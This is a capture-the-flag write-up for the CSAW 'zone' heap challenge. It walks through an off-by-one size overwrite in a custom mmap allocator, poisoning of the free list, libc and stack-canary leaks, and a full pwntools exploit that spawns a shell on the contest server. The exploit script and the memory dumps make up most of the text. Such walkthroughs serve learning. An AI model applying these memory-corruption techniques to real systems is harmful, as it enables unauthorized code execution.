checksec output:

gef➤  checksec 
[+] checksec for '/home/sanat/csaw/zone'
Canary                        : Yes
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial
gef➤  

There was literally no point in opening up the disassembly of the program in IDA. Its pretty obvious how the program works and we can understand its working using dynamic memory analysis.

Environment setup: 0x7fffffffde10
1) Allocate block
2) Delete block
3) Write to last block
4) Print last block
5) Exit

Stack leak right there. Although I think that was totally unnecessary since we can get that anyways through environ. I’ll talk about this later.

So I allocated 2 chunks of size 20 with “AAAAAAAAA”s and “BBBBBB”s. Lets see where its getting stored.

gef➤  x/40xg 0x00007ffff7ff5000
0x7ffff7ff5000:	0x0000000000000040	0x0000000000000000
0x7ffff7ff5010:	0x4141414141414141	0x4141414141414141
0x7ffff7ff5020:	0x0000000000000000	0x0000000000000000
0x7ffff7ff5030:	0x0000000000000000	0x0000000000000000
0x7ffff7ff5040:	0x0000000000000000	0x0000000000000000
0x7ffff7ff5050:	0x0000000000000040	0x0000000000000000
0x7ffff7ff5060:	0x4242424242424242	0x0000000000004242
0x7ffff7ff5070:	0x0000000000000000	0x0000000000000000
0x7ffff7ff5080:	0x0000000000000000	0x0000000000000000
0x7ffff7ff5090:	0x0000000000000000	0x0000000000000000
0x7ffff7ff50a0:	0x0000000000000040	0x00007ffff7ff50f0
0x7ffff7ff50b0:	0x0000000000000000	0x0000000000000000
0x7ffff7ff50c0:	0x0000000000000000	0x0000000000000000
0x7ffff7ff50d0:	0x0000000000000000	0x0000000000000000
0x7ffff7ff50e0:	0x0000000000000000	0x0000000000000000
0x7ffff7ff50f0:	0x0000000000000040	0x00007ffff7ff5140
0x7ffff7ff5100:	0x0000000000000000	0x0000000000000000
0x7ffff7ff5110:	0x0000000000000000	0x0000000000000000
0x7ffff7ff5120:	0x0000000000000000	0x0000000000000000
0x7ffff7ff5130:	0x0000000000000000	0x0000000000000000
gef➤  

A few things I noticed about the way its all arranged.

  1. A full mmap’ed space is given to a particular size. So if we request size 20 then whole mmap page just for that size. So if we next request size 40, it will have to create separate mmap page. [Very Inefficient Algorithm]
  2. All free chunks in an mmap’ed space are held in a singly linked list. All allocated chunks dont have this special pointer (as usual).
  3. There are no checks to see whether linked list is corrupted or not.

Because of this we can make it point to any arbitrary place as long as it contains valid size and pointer.

Bug

Program reads 1 extra char. So we can overwrite size of next chunk. Doing so we can then free that chunk and then our next allocation of that size will give us that chunk in that place meaning we overlapped chunks.

gef➤  x/20xg 0x00007ffff7ff5000
0x7ffff7ff5000:	0x0000000000000040	0x0000000000000000
0x7ffff7ff5010:	0x4141414141414141	0x4141414141414141
0x7ffff7ff5020:	0x4141414141414141	0x4141414141414141
0x7ffff7ff5030:	0x4141414141414141	0x4141414141414141
0x7ffff7ff5040:	0x4141414141414141	0x4141414141414141
0x7ffff7ff5050:	0x0000000000000042	0x00007ffff7ff50a0 <-- "B" in place of size.
0x7ffff7ff5060:	0x0000000000000000	0x0000000000000000
0x7ffff7ff5070:	0x0000000000000000	0x0000000000000000
0x7ffff7ff5080:	0x0000000000000000	0x0000000000000000
0x7ffff7ff5090:	0x0000000000000000	0x0000000000000000

Now program will still think its a 0x40 size chunk. We request size 64 again. We get that allocation. Then when we free it again, it will be a free chunk of size 0x42 and if we make an allocation of size 0x42, we will get same chunk but with overflow.

Of course this will not work since 0x42 is not an aligned size type. All allocations for an mmap’ed page happen in 0x40,0x80 and so on. So overflow with 0x80. Then it will contain a pointer to that mmap page with size 0x80 only except this will be the only 0x80 free chunk lying in this area.

gef➤  x/20xg 0x00007ffff7ff5000
0x7ffff7ff5000:	0x0000000000000040	0x0000000000000000
0x7ffff7ff5010:	0x4141414141414141	0x4141414141414141
0x7ffff7ff5020:	0x4141414141414141	0x4141414141414141
0x7ffff7ff5030:	0x4141414141414141	0x4141414141414141
0x7ffff7ff5040:	0x4141414141414141	0x4141414141414141
0x7ffff7ff5050:	0x0000000000000080	0x00007ffff7ff4000 <-- ptr to other mmap'ed area of size 0x80......whats it doing in 0x40 segment ??
0x7ffff7ff5060:	0x0000000000000000	0x0000000000000000
0x7ffff7ff5070:	0x0000000000000000	0x0000000000000000
0x7ffff7ff5080:	0x0000000000000000	0x0000000000000000
0x7ffff7ff5090:	0x0000000000000000	0x0000000000000000
gef➤  x/20xg 0x00007ffff7ff4000
0x7ffff7ff4000:	0x0000000000000080	0x00007ffff7ff4090 <-- 0x80 size mmap segment.
0x7ffff7ff4010:	0x0000000000000000	0x0000000000000000
0x7ffff7ff4020:	0x0000000000000000	0x0000000000000000
0x7ffff7ff4030:	0x0000000000000000	0x0000000000000000
0x7ffff7ff4040:	0x0000000000000000	0x0000000000000000
0x7ffff7ff4050:	0x0000000000000000	0x0000000000000000
0x7ffff7ff4060:	0x0000000000000000	0x0000000000000000
0x7ffff7ff4070:	0x0000000000000000	0x0000000000000000
0x7ffff7ff4080:	0x0000000000000000	0x0000000000000000
0x7ffff7ff4090:	0x0000000000000080	0x00007ffff7ff4120

This way we can leak and control our linked pointers easily.

At this point we need to use the stack leak and find out address of saved rbp . Allocate chunk somewhere near saved rbp (trivial House Of Spirit attack) and overwrite it finally call exit and get shell.

ef➤  x/20xg 0x7fffffffde10
0x7fffffffde10:	0x0000000000000040	0x00007ffff7ff50a0
0x7fffffffde20:	0x00007ffff7ff5000	0x0000000000000080
0x7fffffffde30:	0x00007ffff7ff5050	0x00007ffff7ff4000
0x7fffffffde40:	0x0000000000000100	0x00007ffff7ff3000 <-- 0x100 is nice size. Lets make linked list ptr point here :)
0x7fffffffde50:	0x00007ffff7ff3000	0x0000000000000200
0x7fffffffde60:	0x00007ffff7ff2000	0x00007ffff7ff2000
0x7fffffffde70:	0x00000000004045f0	0xef7f095ce3cc7400 <-- canary
0x7fffffffde80:	0x00007fffffffdf70	0x0000000000000000
0x7fffffffde90:	0x00000000004045f0	0x00007ffff7495830 <-- RIP
0x7fffffffdea0:	0x0000000000000000	0x00007fffffffdf78

We will need to leak canary also. Once we make allocation, make our input continuous with canary, leak it and then do final attack.

There was no need for stack leak however since we could just make an allocation near environ and leak environ itself. Would have made for a tougher challenge.

gef➤  x/xg 0x7ffff7ffe0d5
0x7ffff7ffe0d5 <alloc_ptr+5>:	0x000060800000007f <-- nice size again
gef➤  
0x7ffff7ffe0dd <__curbrk+5>:	0x0000000000000000
gef➤  
0x7ffff7ffe0e5:	0x0000000000000000
gef➤  
0x7ffff7ffe0ed <pc_offset+5>:	0x0000000000000000
gef➤  
0x7ffff7ffe0f5 <nsamples+5>:	0x0000000000000000
gef➤  
0x7ffff7ffe0fd <samples+5>:	0xffffffdf88000000
gef➤  
0x7ffff7ffe105 <environ+5>:	0x000000000000007f <-- stack pointer

Final exploit code below.

#!/usr/bin/python
from pwn import *

p = remote("pwn.chal.csaw.io", 5223)
#p = process("./zone")
# flag{d0n7_let_m3_g3t_1n_my_z0n3}
raw_input()

def menu():
	p.recvuntil("5) Exit\n")

def allocate(size):
	menu()
	p.sendline("1")
	p.sendline(str(size))

def delete():
	menu()
	p.sendline("2")

def edit(name):
	menu()
	p.sendline("3")
	p.sendline(name)

p.recvuntil("Environment setup: ")
stack_leak = int(p.recv(14),16)

buf = "A"*64
buf += "\x80"
allocate(64)

edit(buf)
# Overflowed 1 byte.
allocate(64)
delete()

allocate(110)
buf = "A"*72
edit(buf)

# Leak libc.
menu()
p.sendline("4")
p.recvuntil(buf)
libc = p.recv(6)
libc += "\x00"*2
libc = u64(libc) - 0xb840f0
log.info("Libc: " + hex(libc))
log.info("Stack: " + hex(stack_leak))

stack = p64(stack_leak + 0x30)
#hook = p64(libc + 0x3c4af5)
#magic = p64(libc + 0xf0274)
system = p64(libc + 0x45390)

buf = "A"*64
buf += p64(0x80)
buf += stack
edit(buf)

allocate(64)
#p.interactive()
delete()

allocate(64)
# Chunk allocated near saved rbp. Leak canary.
finale = "Z"*41
edit(finale)

menu()
p.sendline("4")
p.recvuntil(finale)
canary = p.recv(7)
canary = "\x00" + canary
canary = u64(canary)
log.info("Canary: " + hex(canary))

delete()
allocate(250)

finale = "X"*40
finale += p64(canary)
finale += "D"*24
finale += p64(0x0000000000404653)
finale += p64(libc + 0x11e70)
finale += system
edit(finale)

p.interactive()